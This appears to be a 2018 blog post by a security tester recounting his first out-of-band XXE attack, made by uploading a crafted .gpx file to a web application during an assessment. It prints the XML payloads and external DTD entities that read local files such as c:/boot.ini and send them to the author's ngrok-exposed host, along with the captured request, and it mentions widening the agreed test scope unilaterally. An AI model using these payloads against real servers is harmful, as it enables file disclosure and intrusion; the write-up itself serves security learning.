My first XML External Entity (XXE) attack with .gpx file

Valeriy Shevchenko
Aug 10, 2018 · 4 min read

Hello guys! Thanks for subscribing and liking! Since the last project which I was involved — there is one thing which I want to share with you. For me it was my first production XXE Vulnerability. And it was so cool feeling when I realize that I found huge security impact in that project.

I can’t share with you details and name of that project. Let’s name it So my scope on that project was pretty strict. And I was allowed to do whatever I want for making POC. First what I did — extended a scope. And on the extended scope I found pretty interesting host. That was web application for making tracking of your activities and saving your health score. Also you can create an activities for other persons and share it. But the main interesting thing was — I was able to make some sort of thing without being register there. Also it was document upload functionality. And I was able to upload documents without being register. But I was able to upload only *.gpx files. So what is it?

GPX, or GPS Exchange Format, is an XML schema designed as a common GPS data format for software applications. It can be used to describe waypoints, tracks, and routes.

Here is example of that file

<gpx xmlns=”" xmlns:gpxx=”" xmlns:gpxtpx=”" creator=”Oregon 400t” version=”1.1" xmlns:xsi=”" xsi:schemaLocation=” ">
 <link href=”">
 <text>Garmin International</text>
 <name>Example GPX Document</name>
 <trkpt lat=”47.644548" lon=”-122.326897">

Without that description, for me was pretty clear that it’s XML file which can be parsed on the server. And the way of attack there should be to check is it vulnerable for blind XXE or OOB technic.

An XML External Entity (XXE) attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

First of all I made my host accesible from wild internet with ngrok. ./ngrok http 8090

Here ngrok gave me address which i used in my attack. (like this 37*****

It’s very helpful if you need to check something outside but you don’t have your own VPS. Next I use pythonserver for making accesible links to my files on my host with python -m SimpleHTTPServer

On the first step for that attack — we need to check is it possible to make that external entities with xml files. Because of that in the first file that’s data appeared:

<?xml version=”1.0" encoding=”UTF-8"?> <!DOCTYPE foo SYSTEM “https://37*****">

As you see i used that as an attack vector.

Inside of the xxe_file.dtd was:

<!ENTITY % d SYSTEM “file:///c:/boot.ini”>
<!ENTITY % c “<!ENTITY rrr SYSTEM ‘https://37*****;'>">

On my first run when i tried to upload my file — that message appeared:

An error occurred while processing the file: c:\boot.ini (Das System kann die angegebene Datei nicht finden)

With that message it was pretty clear to understand that this app is vulnerable to xxe. Server already parsed both files. One which was uploaded and one which was linked as external entities and placed on my computer.

Actually in many bugbounty programs it’s should be enough to have a proof for xxe. But for me was pretty interesting to go deeper. And actually I was in one step of disclosing system files from that server.

So my last vector was that:

<?xml version=”1.0" encoding=”UTF-8"?>
<!DOCTYPE foo SYSTEM “https://37*****">

In the xxe_file.dtd was that:

<!ENTITY % vuln1 SYSTEM “file:///”>
<!ENTITY % vuln2 “<!ENTITY attack SYSTEM ‘http://37*****;'>">

As a result i was lucky to catch that request on my ngrok host.

GET /Desktop/xxe_file.dtd HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.7.0_15
Host: 37***
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
X-Forwarded-For: 54.246.***.***

And as you see server exposed vulnerable java version on xml parser. That version of java is vulnerable to make that XXE OOB exploitation. (

I wasn’t so lucky to catch information about system files of that server with XXE OOB technic. It was legal security assessment but someone detected my malicious activity and turned off server it self :(

Until now server returned 502 Bad Gateway.

But for me it was great experience and chance to reproduce all theory and knowledge in real project.

Here i want to share with you some articles which was very helpful for me And basic understanding appeared from that (sorry for Russian article, hope google translate can help you)

PS: Click “Clap” icon if you like this article ;)

Valeriy Shevchenko

Written by

I am a guy who passionate about testing and security researching 👨‍💻 →